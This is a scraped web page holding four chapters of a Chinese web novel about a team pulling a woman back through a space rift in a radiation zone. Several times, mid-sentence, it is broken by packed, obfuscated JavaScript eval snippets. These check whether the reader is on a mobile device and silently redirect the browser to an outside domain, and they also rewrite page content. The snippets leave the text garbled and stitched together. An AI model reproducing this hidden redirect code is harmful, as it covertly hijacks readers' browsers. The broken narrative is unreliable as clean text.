l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14346330|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”六字真言。 仪器的屏幕上是不断攀升的辐射数值，但因思禾却迟迟没能找到能和空间裂缝相呼应的波段。 不对，她得再想想。 众人看见她突然揉着眉心思考，一时之间不敢打扰。 因思禾的大脑里正反复播放当时的场景。 车辆急刹，他们循着小王的惊呼抬头，空间裂缝就这么在几人眼前出现，随后越野车穿过裂缝，他们回头看见裂缝关闭，紧接着发现简初消失…… 辐射可以击穿空间屏障形成裂缝，但裂缝展开的触发点却未必在于辐射。 电光石火之间，她捕捉到了什么信息，猛然站了起来。 “我知道了！不是辐射！” 还没等众人对此有所反应，因思禾精神抖擞地昂起头，随手就点了几名作战人员：“你带着他们上车，沿着我们之前的方向，往裂缝所在的坐标点开。” 被点到的人还没反应过来，傅燃就已经抢先跨上了车，他示意林豹双两人留下警戒，便载着几人开车离开，林豹双只能无奈举着手里的篷布，重新寻找支点将它撑起。 “什么情况？” 崔斯特一个眼刀阻止了下属的窃窃私语，他们从未接触过空间裂缝，这中间有太多的不确定性，不妨看看情况再做打算。 雷达屏幕中，越野车的红点正以势如破竹的气势，直直往坐标点的位置疾驰而去，很快，红点穿过坐标，兜了一圈回到了原点。 裂缝并没有出现，但因思禾并没有因此挫败，相反，刚刚采集到的数据显示，坐标点的能量出现轻微的波动，这是一个好现象。 “多来几次，我要计算一下数据。” 随着她话音落下，越野如同蛰伏的野兽飞扑而出，几乎沿着原本的路线再次冲向坐标点，然后是一次又一次，随之而来的是更加明显的图谱波动，以及愈加精确的计算结果。 “找到了——” 终于，因思禾心满意足地长叹一声，她伸手点击屏幕，将最终的路线计算结果发送给越野车内的傅燃：“沿着这条路线，速度尽可能快，其他人！” 她转过头，向身后等候多时的作战人员喊道：“空间裂缝开启的第一时间把设备打开，延缓它闭合的速度，然后带好你们的武器装备进入裂缝，最重要的是确保自身安全，第一时间给N62发送位置信息，再开始找人。” 必须要先弄清楚裂缝的传送范围，圈定简初可能的位置，才能以更高的效率进行搜寻。 越野车带着巨大的轰鸣声由远而近，精准地踩着因思禾划定的路线，从猛然张开的黑紫色裂缝中穿过。 成功了！ 越野车紧急刹停，傅燃从驾驶位跃下，眨眼间就来到了裂缝面前，他毫不犹豫地伸出手，就要踏进另一边的空间中。 周边仪器发出源源不断的能源，支撑着裂缝，让它不要那么快消失，作战人员们严阵以待，几乎是以再也回不来的决心紧随。 傅燃的手被裂缝中的黑光淹没，却出现在了它的背面。 什么！ 他瞳孔紧缩，脚下的动作已经无法控制，就这么毫无阻拦地穿过了裂缝，而跟在他身后的人一个接着一个，穿越了裂缝，出现在了他身边。 为什么……进不去？！ 133. 无人区（35） “怎么可能！” 超出预期的变故让全场愕然，就连因思禾也无法控制自己，带着惊慌走出去安全区——她的异能虽然战斗力不高，但足以支持她在辐射下行走。 众目睽睽之下，她的手毫无阻碍地从黑紫色的空间裂缝中划过，这道裂缝就像一个虚假的投影，咧着大嘴嘲笑他们异想天开。 他们根本没办法进入裂缝，更遑论去寻找失踪的简初了。 “现在该怎么办，等她自己回来吗？”有人问。 “如果简初离开了之前的位置……是不是就回不来了？”一直沉默的莫景突然开口，她就站在裂缝的旁边，时不时伸手摸一下，希望某一次能够顺利触摸到它。 没有人知道问题的答案，或者说，没有人会说出那个答案。 “也许她可以自己找回N62？”她旁白你的人试探着开口，但这句话显然只是安慰，甚至在如今的形势下，它连安慰的作用都近乎于无。 她回不来了。 “不可能会这样，不可能……” 此时没有人再去注意莫景一个毫无存在感的小姑娘究竟在念叨什么，他们都在等待因思禾下达新的命令。 是放弃，又或是继续尝试？ “还有其他办法吗？”傅遥问。 “让我想想……”因思禾在原地踱步，时不时低下头调整仪器，可惜周围大多是作战人员，没有人能完全看懂她在做些。 她的心情几乎是大起大落。 事实上，联研所很久之前就在寻找空间裂缝的踪迹。 他们耗费了十来年的心血，依靠空间系异能的帮助才做出了“领域场”这种可以不依赖异能搭建的异空间，但想要实现空间跃迁，现在掌握的技术还是远远不够。 如果能够弄清空间裂缝的形成规律……这简直就是里程碑式的突破。 可现在，近在眼前的机会却无情拒绝了所有人，他们只能围成一圈，记录着空间裂缝每一秒的变化，眼睁睁看着它越来越窄。 时间一分一秒过去，他们必须要裂缝彻底消失之前，想到一个挽回局面的办法，否则所有人为此做的努力、花费的资源，都将变成一场空。 “人不能进去，东西呢？”因思禾突然开口。 闻言，傅遥毫不犹豫捡起地面的一块石头扔过去，但很可惜，圆润的石子穿过裂缝，在地上咕噜噜滚了几圈，才被林豹双用脚尖止住。 “也不行……”因思禾摸着下巴，仔细观察着不断“蠕动”的裂缝边缘，突然，她好像看见了什么，整个人都凑近了，“这是……光线？” “拿个手电给我。” 她伸手接过手电，“啪”的一声，明亮的光束瞬间无限延伸，笔直地射向远方，因思禾举着手电慢慢靠向裂缝，所有人都清晰地看见最靠近裂缝的位置，光线出现了轻微的扭曲。 光束被莫名的引力拉粗，接着以原来两倍粗的直径直射向前。 “这是……” 随着因思禾转动手腕，手电的光束瞬间被裂缝侵吞，好像照进了一个深不见底的深渊，而裂缝的另一面却并没有任何光线射出。 “它也许照进了裂缝的另一边。”有人猜测道。 “用标准射线照进去，联系其他站点扫描频段，所有人散开，寻找有没有哪里出现了标准射线。”因思禾立刻做出决断，“留给我们的时间不多了。” 标准射线是无人区研究所特有的定义，它是无人区自然环境中无法形成的频段，不会收到其他辐射的干扰，却又能发出明亮的光。 众人迅速散开，巨大的仪器端坐在裂缝的前方，将源源不断的能源转化为光线，送入这个无底的黑洞。 “你不去吗？” 突然的询问让傅燃抬眼回神，他的目光落在那道裂缝上，它已经比刚出现时缩小了快一半，等到它真正关闭，恐怕已经无力回天。 “我……” 他内心有一道声音，让他留在这里不要离开，但傅燃也不知道该不该听从，但就在这瞬间，原本一直还算稳定的空间裂缝却像突然受了什么刺激，猛然又缩小了三分之一。 “什么情况！” 比起之前缓慢的收缩，这种明显的变化更让人心惊胆战。 “是不是能源给的太足了，它承受不住？！” “因博士？！” “别吵！”整夜的忙碌让因思禾耐心告罄，她的手已经摸上仪器的关闭键，却迟迟没有按下。 也许就差这么几秒，他们就能找到裂缝的出口呢？ 何况所有人都无法进入裂缝，把仪器关闭就等于提前宣告计划失败，他们无法既无法救人，更无法从中得到更多的数据，只能眼睁睁看着它就此消失。 “不能关。”因思禾猛然缩回手，“关掉的话，我们之前做的一切都没有意义了。” 时间过去了这么久，简初要是没走远，早就该回来了，现在标准射线就是最后的救命稻草。 …… 简初并没有忘记来时的方向，但自从站点的火光在身后消失，周围的环境就变得千篇一律。月光被层云笼罩时有时无，刮起的夜风似乎都变得漆黑沉重，远处还传来异种的嚎叫，挠得人心里痒痒的。 她已经走了很久，却仍然没有看到空间裂缝的痕迹，但系统从来不会骗她，既然它给了提示，那自己就一定能找到回去的方法。 N58站点的一切已经按照剧本演绎，她在那里的任务已经完成，没有什么神秘力量将她送回去，那代表着她只能自己寻找出路。 简初没有忘记自己此前的失神，她能感受到这里正在试图同化她，有什么东西想把她永远留在这里，也许会把她也变成异种，简初不敢去赌这个可能。 月亮已经不在刚刚的位置上，终端的时间也一直停滞不前，简初只能根据记忆大概判断方位，但正当她忍不住停住脚步，在原地辨别方向时，一道雪亮的光束却突然从右前方出现，如同一道利刃隔开沉重的夜空，微微倾斜向上，去往不知名的远方。 那个方向…… 简初昂着头仔细观察，又转头看向身后的脚印，不过几秒便做出决断。 不管是系统的指引，还是外面的救援，她都得去试试。 一长串脚印被她甩在身后，随后被夜风掀起的沙石磨平，好像从未有人来过。 …… 今夜万里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14360876|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无云，月光把地上的沙石照得发亮，如同蜿蜒的长河奔涌而去。 傅燃看着裂缝出神，它此时已经缩成一掌高、一人宽，不管怎么看，都无法容下一个人从中经过。 他的脑袋已经是一团浆糊，自从他记事起鲜少有这样的体验，莫名的情绪不知从何而来，但傅燃就是它们团成的结死死堵着胸口，喘不上气。 莫景依然固执地站在裂缝旁边不愿离开，哪怕她的脚已经有些微微发麻，也只是换一个站姿。 “如果她出来，我能第一时间拉住她。” 很孩子气的话，也并没有人拦着她。傅燃凝视着莫景的背影，以及那个黑洞般的裂缝，下意识往前走了两步。 “全部站点都已经反馈搜寻结果，截至目前没有任何发现。” 这样的结果让因思禾倍感疲惫，她的内心几乎已经断定，简初被这道裂缝送往了无人区的更深处，辐射对异能者来说暂时不会致命，但密集的异种，以及……那群人，却是巨大的威胁。 她几乎没有存活的希望了。 正在此时，虚空中的裂缝突然抽动了一下，紧接着在莫景由惊喜变为惊恐的目光中，以肉眼可见的速度缓缓收缩。 “不！等等！” 裂缝仿佛被周围的空间压缩，瞬间消失在了众人眼前。 “消失了……” 周围的仪器被人关掉，失去了最强的光源，周围瞬间变黑，莫景怔怔地看着空中的一点，仿佛被抽去了灵魂。 “怎么可能呢……明明还没有……” 下一秒，空中的那一点突然鼓动了两下，仿佛是人的皮肤下孵化的寄生虫，有什么东西在虚空的另一头挣扎，将空气戳出一个圆润的鼓包。 “唰！” 周围明明很安静，但傅燃脑海中却轰然响起裂帛声，身体抢在思想之前，大步跨上前—— 抓住了探出的那只手！ 裂缝被人强行撑开，它的边缘不停蠕动，想要把从中探出的手再次吞回去。 “给我……松开！” 不过两秒钟的时间，在傅燃眼里却被慢放成了十秒、一分钟、乃至一个小时？ 他自己也分不清了，但他能看到里面的人被他一点点拖出来，一旁的莫景伸出手，但还没来得及握上来人的手臂，一阵巨力就将人影从裂缝中吐出。 一瞬间，简初宛如一颗蓄足力的炮弹直直撞上了傅燃的心口，巨大的冲击力让他一口气差点没喘上，但还是用两只手臂将人牢牢锁紧，防止她受到二次伤害。 两人一起飞了出去，撞翻了后方的架子，厚重的篷布卷在他们身上，咕噜噜越滚越圆，直到缠绕成一个大布球才堪堪停下。 简初只觉得自己刚从一团粘稠的、令人窒息的水体中挣扎而出——她清楚地知道那并不是溺水，而是有东西想把她永远留下。 但现在，新鲜的冷冽空气涌入鼻腔，尽管她此时耳鸣剧烈，甚至睁眼也只能看见一片雪花般的光点。 简初已经无暇顾及系统的祝贺，只感觉刚刚还充足的空气好像又开始消失，甚至有什么东西紧紧地困住她，比之前的束缚更甚。 但她已经没有力气再挣扎了。 134. 无人区（36） 意识逐渐回笼，简初勉强睁开眼，头顶既不是越野的车顶，也不是N62站点的天花板。 纯白色的穹顶在离她很远的地方，简初茫然坐起身，回望身后也只是一片虚空。 她只记得失去意识之前看见了许多人的脸，后来就什么都没有了，不过这个地方有些熟悉，简初环顾四周，在不远处看见了那面周而复始的水镜。 它安静地伫立在原地，镜面里仍旧什么都没有，不过她印象中，这里之前似乎并没有这么大的空间？ “……系统？” 无边的空间里，简初的声音一圈圈回荡开，她慢慢靠近那面水镜，却依旧被阻拦在一步之外，镜面外似乎有一层柔软的包膜，温柔但坚决地阻止她的靠近。 许久，终于传来回应的声音。 “这里是精神核心的内部。”声音是从镜子里传来的，而它给出的回答也出乎简初的意料。 她愣了愣，忍不住抬起头打量四周：“精神核心？我的，还是你的？” 系统似乎被她的疑问噎住，发出一声微妙的叹息：“当然是你的。” 随着它话音落下，周围突然沁出一点点灿烂的金色，紧接着一圈一圈盘绕的肢体在简初眼中逐渐清晰，它们紧密地挨在一起，缓慢移动，不断摩擦。 这是……小触手？ “真是神奇。”简初低低感叹了一句，再次看向它，“我知道，那句话是你说的吧？你可以和我直接交流？” 系统没有回答，镜面里却传来一声“叮”，就像是给予错误答案的警告。 “那句话是你说的。” 沉默。 “你可以和我直接交流。” 漫长的“叮”声再次响起，让简初有些控制不住想笑。 “好吧，那我大概能理解，你为什么要借胡可的身体说这句话。”简初耸了耸肩，“尽管不知道你的用意，但是我应该可以信任你。” 系统和她明显是一伙的，虽然时不时会给她安排一些棘手的工作，还会用死亡来威胁她。 “不要在心里骂我。”系统冷不丁开口，“迄今为止你都做得很好，继续保持。” 简初挑眉反问：“我该说谢谢夸奖吗？” 听见这句话，系统却发出莫名奇妙的心满意足的笑声：“麻烦事多着呢，希望你一直保持这样的心态。” “那里的一切是真实的吗？”尽管心中已经有所猜测，但简初还是忍不住开口了，意料之中的，系统没有给她任何回应。 许久之后，它才慢悠悠开口。 “你似乎找到了和我交流的方法，真不错，不过有些事情你暂时不该知道。” 不知为何，简初从它的语气里听到了一点敷衍，可没等她有所回应，周围的一切迅速云消雾散，直到她重新沉入黑暗，听见不知来自何人的呼唤。 “她醒了！” 简初愣愣地看向床边突然凑近的脸，大脑有些转不过来：“我怎么……在这里？” 她以为自己会回到另一个世界来着。 “多亏了……灰烬，把你从空间裂缝里拉出来了，否则你这会还不知道在哪儿呢。”因思禾摇摇头，伸手指了指她隔壁的病床。 简初下意识摸了摸扒在护栏上的莫景的脑袋，转头就看见因思禾话中的主角正闭着眼，看上去还在昏迷中。 “他受伤了？” “我在休息。”傅燃睁开眼，旋即又闭上。 “现在知道回话了，刚刚还躺着装死呢！”傅遥气不打一处来。 “醒了就好，你们先休息。”因思禾并没有急着询问简初的遭遇，反正现在人已经安全了，想了解情况也不急于一时。 “这边就麻烦莫景你先照看一下，外面都有人，需要的话喊一下就行，他们会配合你的。” …… “砰！” “他们没事吧！快去看看！” 一阵嘈杂的喊声，屏幕里兵荒马乱，下一秒，录像戛然而止，米勒尔没有挪开视线，摸着手上的戒指沉思两秒，抬头看向崔斯特。 “做得很好，可惜了……” 米勒尔语焉不详，但崔斯特也不是会追问的人，他只是继续半弓着腰等待指示。 尽管米勒尔并没有亲临现场，但崔斯特已经为他拍下了现场的一切画面。 为了隐蔽，拍摄角度十分有限，但那道可怖的裂缝仍然十分显眼，可惜的是因思禾操作仪器的具体过程总是被来往的人遮挡。 米勒尔伸手将进度条往前拉，画面重新回到裂缝即将消失的时刻，就算是慢放，简初从其中脱离的速度也快得惊人，他很难想象那个“灰烬”是怎么做到瞬间就能反应过来的。 明明站得最近的人都没能赶上。 不过再怎么看这段录像也无法解答他心中的无数疑问，米勒尔将它放回桌面，随口问道：“凯文……和伊森呢？” “两位少爷都想着去打听消息，不过因……”崔斯特看了眼米勒尔的眼色，斟酌着开口，“因思禾那边把人看得很紧，不允许其他人去探望，除了她的人，就只有简初的那个女同学可以过去。” “管得严就对了。”米勒尔长叹一声露出微笑，“说明里面确实有点名堂，让凯文他们不用急这一时，最近还是少整幺蛾子，别把因思禾惹毛了。” 毕竟在这里，还是要仰人鼻息，尽管因思禾从未表露出趾高气昂的模样，但米勒尔并不习惯这种要等待别人发号施令的感觉。 他想做的事情很多，却竟然一个都没办法光明正大地施行，着实有些憋屈了。 “发生这么大的事情，联研所总部也该联系因思禾了，之后你盯着点她，安保的事情可以多交一点给林愿，她的能力也不错，哎……”米勒尔很少这么真情实感地叹气，“林颀那边对她还是有意见？” “差不多。”崔斯特含糊其辞，“平时还好，反正两人也不太碰面，就是每次拿血清的时候比较麻烦。” “平时闹闹也就罢了，都到这里了还用这种手段。”米勒尔冷哼一声，“给我把他喊过来，其他的你先去安排。” 另一边，伊森铩羽而归，他甚至都没能走到医务室的门前，就被作战人员劝离了。 “现在暂时不能探视，有什么急事可以帮你转告。”那个笑起来感觉很危险的女性是这么说的。 伊森当然不会让她转告，毕竟他和简初的合作暂且算得上“见不得人”，至于简初的现况，那两人也不肯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14374461|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 告诉他，伊森只能一无所获地离开，等她恢复再说。 楼梯间就传来急匆匆的脚步声，凯文埋头往前冲，意识到面前有人的时候，已经收不住脚了。 “你做什么，看着点路！”凯文猛然往后，差点摔下楼梯，紧接着目光落在伊森身后，语气也变得警惕，“动作真快。” “彼此彼此。”伊森睨他一眼，“上面不允许探视，你可以回去了。” “想诓我？”凯文当然是不信。 伊森扯了扯嘴角，没有再说什么，脚下倒是往一旁挪了挪，让出了半边道路。 凯文紧张地舔舔干燥的嘴唇，发现对方确实没有其他动作，便两步并做一步，窜上了楼。 …… 医务室里暂时安静下来，莫景好像很适应这样的氛围，坐在一边自然得很。 “我回来的时候是什么情况？”简初的问题让莫景整个人都支棱起来，就连翘起的头发都精神了不少。 “因博士发现光线可以射入裂缝……”莫景絮絮叨叨，事无巨细地把她看到的一切情况都说了出来，直到说到简初从裂缝中伸出手，整个人才变得有些萎靡。 “是我太弱了，没能抓住你，多亏了……”莫景看上去有些不甘心，但又不得不接受现实，“多亏了这位帮忙，把你拉出来了，但是力道太大撞翻了棚子，你们被篷布裹得死紧，好不容易才被救出来。” “原来是这样。”简初算是明白了之后的窒息感是从何而来。 “多谢你，不然靠我自己还真是够呛。”她侧过头看向另一张病床上的人，两人视线一触即分，对方好像受惊似的突然撇开了头。 简初找到那条裂缝时它已经很窄了，里面透出的光也开始变暗，但潜意识告诉她，错过了这次机会，自己也许就再也回不去了。 她毫不犹豫钻了进去，却没想到裂缝的另一边并不是她所想的地方，而是一个充满液体的空间。 说是液体，其实只是“液体的感觉”，她无法触摸到任何东西，却又被强大的力道束缚，每一步前行、每一次抬手都极为困难，甚至呼吸也被限制，每一口吸进肺里的都是无用的物质。 简初能感觉到有东西顺着鼻腔钻进肺部，但它们并不能满足她的需求，只是在身体里转了一圈，又重新被她呼出。 要不是外头有人拉了自己一把，一切应该不会这么顺利。 “应该的。”傅燃盯着另一边的墙壁，语气平静，“因博士交给我的任务，我肯定会好好执行。” 简初对他的话不置可否：“动机并不影响结果。” 对方不回答了，但明显往被子里缩了缩，整个人背过身，一副“我要休息”的架势。 “什么呀……”莫景小声嘟囔了一句。 “也谢谢你。”简初笑眯眯地看向她，“一直没有放弃。” 闻言，莫景整张脸以肉眼可见的速度变红，有些不安地换了坐姿：“没有，我相信你可以回来的，而且……我也没能帮上忙。” 她的声音越来越小，说到最后眉头又耷拉下来。 “你有这份心就足够了。”简初的八颗大白牙让莫景露出微笑。 后面被窝里的人动了动，很快又安静下来。 135. 无人区（37） 第二天早上五点。 站点里的大多数人还在梦乡中，傅遥匆匆套上外套，和碰见的轮值人员打了招呼，来到了因思禾的房间，此时房门虚掩，似乎等待她的到访。 “发生什么了，这么早就喊我来？”傅遥顺手关上房门，往里走了两步就看见因思禾正在桌前饭看着什么，一边的床铺很干净，丝毫没有人睡过的痕迹。 看来是熬了一夜。 原本两人已经商定今天上午去跟简初聊聊，不过看这架势，难道夜里又发生了什么？ “你先坐。”因思禾放下手里的笔，揉了揉额角，“简初那边没出什么意外吧？” “一切正常，傅燃本来就没什么事，他们协会的几个人在那看着，不会出问题。”傅遥挑了个床角坐下，站点条件简陋，房间里也没有多余的椅子。 “那就好。”因思禾叹了口气，将手里的纸质材料递了过来，“昨天送物资的人留下的，是杨树所长亲自整理的，关于异种人的信息。” “上次袭击启明星的人，在离开站点后突然失去了踪迹，之后捕捉到信号的时候就已经到了N58附近，然后再次消失，杨树怀疑N58站点的事故和他有关。” “等等。”傅遥抬手止住了她的话，“这个时间太短了，他怎么可能一下子就到N58附近，而且他受伤了，前进的速度只会更慢。” 她看见因思禾欲言又止，便抢先开口：“米勒尔提供的武器清单我也看过，并没有能帮助他快速移动的工具，总不可能他还有其他异能吧？” 异能者本来就罕见，同时拥有两个异能更是凤毛麟角，整个联邦怕是一只手都能数过来。 “他们不能以常理来判断。”因思禾虽然这样说，但显然也不认可这个猜测。 “他们聚居的部落可能发展出了自己的科技文明，并不是说领先或者落后于我们，我是说，他们的发展方向可能不太一样，所以不能用我们的观念去思考问题。” 傅遥沉默了两秒：“……那我就没办法思考了。” 因思禾：…… 虽然是这个道理，但这么说是不是太直接了？ “既然说到这里，N58站点的情况已经研究得差不多了吗？”傅遥问。 因思禾摇摇头：“并没有，有价值的东西都被烧得差不多了，而且这件事……总部并不想让我们插手，我凌晨接到了紧急通讯，要求继续开展无人区探索，不光是N58的事故，总部还要走了空间裂缝的所有数据，意思是不需要我们来研究。” “虽然我能理解，但总有种过河拆桥的感觉。”傅遥快速看完手里的报告，又将其放回了桌面。 空间裂缝本来就不是因思禾负责的项目，她也研究不明白，当时能在紧急状况下想到办法，尽可能记录数据，不过是多亏了她长年累月的研究经验。 “对了，简初的情况回头还要写份报告，包括她在裂缝里的遭遇，我估计后期的行动她应该不能参与了，说不定过两天总部就会安排人把她接回去。”因思禾苦笑，“这么一来，程源那边的问题也得往后推了。” 她发出一声漫长的叹息，明明不甘心，却又无可奈何。 傅遥看着她疲惫的面孔，不禁有些担忧：“之后你还要亲自带队吗？无人区腹地和之前去的地方不一样，里面可是……” 那里面可是有人的。 “我没有选择，不仅是作为总负责人。”因思禾表情淡淡，“有些东西离开无人区就不是原来的样子了，我想看到它们最初的面貌。” “不过你也提醒我了，后期的行动名单得重新拟定，研究人员们……留几个就够了，其他人全都撤到后方，你那边出两个，协会再出两个，四个作战人员留守站点，剩下的所有作战人员都跟着一起行动。” 因思禾用笔敲着桌面上的人员名单，犹豫再三圈了两个人出来。 “就怕他们到时候找借口，想留在站点。” 单凭米勒尔为联研所提供的报告，他就必定要跟着一起行动。这当然也是联研所总部的意思，毕竟他们无法完全信任米勒尔，最好的办法就是把他绑上船。 但问题是，他们还得保持表面的和谐，就算双方对此心知肚明，因思禾也不能直说“我不信任你，所以你得跟着一起”这种话。 “米勒尔和程源……你是担心简初？”傅遥也不笨，脑子一转就知道因思禾究竟在担心什么。 启明星那夜发生的意外，知道真实情况的人不多，但这次的空间裂缝却是瞒不住，所有人都知道，只有简初一个人可以进去，最后还安全回来了。现在有因思禾在这里盯着，某些人不会轻举妄动，可等大部队都离开站点，那就是防不胜防。 “如果是这样，我倒是有个办法。”傅遥搓搓下巴，“既然他们想找机会接触简初，那就让他们以为自己可以接触好了。” …… 简初这一夜睡得出乎意料地好，睁开眼时医务室内空无一人，但透过门框中间小块的磨砂玻璃，可以看到影影绰绰的人影。 “你们回去休息吧，这里我来。”那位“灰烬”的声音隐约传来，也不知道他是什么时候离开的，一旁病床上的被子竟然也折得一丝不苟，看不出有人睡过的痕迹。 “她应该醒了。” 简初刚刚坐起身，就听见这句话，紧接着房门被人敲响，外面传来因思禾的声音。 “醒了吗，方便进去？” 简初用干涩的嗓子回应了，下一秒房门被人推开，因思禾和傅遥先后入内，最后还是那个年轻人收尾，关上了房门。 “晚上睡得还可以？我们得抓紧时间谈谈空间裂缝的问题了。”因思禾单刀直入，她手里事情多得很，没有太多时间用来闲聊。 “从头开始，你穿过裂缝的时候还有没有意识……” “我去了N58。”简初突然打断了对方的问题，因思禾一脸茫然，看上去还没反应过来她说了什么。 “裂缝的另一边也是无人区，我一眨眼就过去了，走了一段距离寻找救援，结果找到了N58站点。”简初用更长的句子解释。 “不不不，不可能。”因思禾皱眉摆摆手，“N58现在都是无人区研究所的人， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14403108|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们并没有看到你。” 从那夜的事故起，杨树就派了不少人去N58站点调查，不管是离奇的火灾，还是工作人员异化，都是相当棘手的问题，可以说此时的N58站点眼线密布，一点风吹草动都不可能逃过他们的眼睛。 简初眨眨眼：“我见到了胡可和于蓝。” 这两个名字有一点熟悉，因思禾努力在快要塞满的脑子里搜寻，最终在角落里找到了答案。 这两个名字，是N58站点原本的工作人员之二，也正是那两具异种尸体原本的身份。 因思禾的脑子有些卡机：“等等，我好像没你提过他们的名字？” “你确实没告诉我。”简初点头，“因为我见到他们的时候，还没发生火灾。” 话音落下，似乎有一阵阴风掠过，尽管医务室里并不会有风。 傅遥&因思禾：…… “你是说，你回到了过去的N58站点？”傅遥回过味来，难以置信地伸手摸了摸简初的额头，“也没发烧啊，怎么说胡话？” “也不能完全这么说，因为我现在也无法百分百确定，那里到底是真实还是虚幻，毕竟在无人区什么事情都有可能，说不定我是误入了一个海市蜃楼。”简初稍有心虚地挠了挠脸颊。 因思禾的嘴唇颤动了两秒，脸色迅速变换，却什么都没说。 “我进站点之后……” 简初相当保守地描述了当时的情况，尽力降低自己在其中的参与度，至于之后的异化和火灾更是一笔带过，前者是她自己也没想明白两人是怎么突然异变的，后者则是……为了少给自己找麻烦。 “那些容器里的液体确实很容易燃烧，N58里至少有4个装满的容器，倒也能勉强覆盖整个走廊。”也许是简初的描述实在是绘声绘色，因思禾已经不自觉陷入了思考。 一旁的傅遥适时提醒：“可是没有火源。” 她朝因思禾使了个眼色，意思是让她清醒一点，简初说的一切极有可能只是一场幻觉。 简初只当没看见她们的美颜官司，遗憾地摇摇头：“太混乱了，我只看了个大概，也许是设备短路的火花之类的。” “无人区的条件，想要形成幻境很简单。”傅燃低声开口。 很明显现在已经无法确认简初看到的究竟是真是假，一切只能当做参考。说实话，简初此前就已经想到会是这种情况，系统的隐晦提示让她能得到确切的答案，但她又不可能将一切和盘托出。 “这些事情你不要跟别人说。”因思禾叮嘱道，“至于其中的部分情况，我会找机会和杨树所长对接，就当是给他们的调查提供一点灵感了。” 她收起纸笔，就算以如今的科技，白纸也是最安全的载体。 “我们还有事，就先走了，你暂时就住在医务室，有什么需要就找……灰烬或者他的同事，这两天他们会照顾你的，啊，找莫景也可以，有些事注意保密就行。”因思禾站起身，拍了拍衣角的皱褶。 “好好休息恢复状态，过两天我们又要出发了，这次的目的地更远，做好心理准备。” 136. 无人区（38） “……砰！” 走廊尽头的房间里，突然传来模糊的声响，从外面经过的人疑惑地抬头看了一眼，凝神细听，发现不再有动静，才摇摇头走开了。 “不行，里面太危险了，我不去！” 房间里，凯文压低声音，十分焦躁地在房间内踱步，狭窄的桌面上，个人终端屏幕显示着一个来路不明的通话。 “那你就没什么价值了。”对面语气平静，声音听上去经过处理，有些难以入耳，“你最好再考虑一下。” “你！”凯文气笑了，“搞清楚，是你来找我合作的！” “那是我没想到你的胆量竟然这么小。”对方的语气轻飘飘，却着实气人，“合作随时可以终止，如果你做不到，我就去找其他的人。” 凯文自然明白对方口中的“其他人”是谁，但最了解一个人的往往是他的对手，凯文很清楚，以伊森的性格，绝对不会和这种来路不明的人合作。 “他不会跟你合作的。”凯文冷笑一声，“他不爱冒险，大概率会假意答应你的合作，然后在暗地里用尽手段翻出你的真实身份。” 那头传来短促的笑声：“我既然敢提合作，那肯定就准备了自保的手段，毕竟斯塔家族的名声……在我们这可算不上好。” 双方算不上平等的合作关系让凯文陷入沉默，自己在明，对方在暗，而他又确实需要对方的帮助——尽管现在米勒尔似乎是更偏爱自己，但家族还有其他的议事者，其中不少都被伊森拉拢了。现在一切悬而未决，他不能掉以轻心，妄想靠米勒尔朝有夕无的偏爱收下最终的果实。 “我已经按照你说的，留在了N62站点，无人区里真的很危险，你得给我一个必须要去的理由。”凯文的态度有所软化。 “呵呵，你扪心自问，真的是因为我的要求才留下的吗？伊森不走，你先撤退？”对方丝毫不留情面，揭开了凯文的遮羞布，“米勒尔这么喜爱你，肯定会安排人手保护你的。” “伊森……他去吗？”凯文紧张地咬咬手指。 闻言，通话那头沉默了片刻，随后发出一道莫名的讽笑：“对你来说这确实很重要，让我看看。” 凯文自然听出了对方语气里带着的讽刺，但他确实很在意伊森的选择，不如说从他记事开始，身边的每一个人都要求他向伊森看齐，伊森做什么，他就要做什么，但往往用尽手段，他都赶上不伊森的进度。 他已经习惯跟着伊森的脚印前行，在同样的道路上打败对方，才能让他空洞的灵魂感受到一丝快意，只不过这样的时刻实在很少，唯有米勒尔的偏爱，才能让他在窒息的压力下喘一口气。 “嗯，你亲爱的哥哥应该会随队呢。”许久，对面终于传来凯文最不想听到的答案，这句话之后，对方反常地没有催促他。 “我知道了，我会去的。”凯文用力闭了闭眼，哑着喉咙表态，下一秒，通讯便被挂断了。 “真是狼狈，没人把你当回事。”他将终端扣在桌面上，泄愤般揉乱了自己的头发，“抓住机会，你可以的。” 遥远的北亢区，有人哼起了小曲。 “怎么这么开心？”旁边有人问。 “没什么，就是突然发现叛逆期的小鬼还挺好搞定的。”他咂咂嘴，发出了同事不太明白的感概。 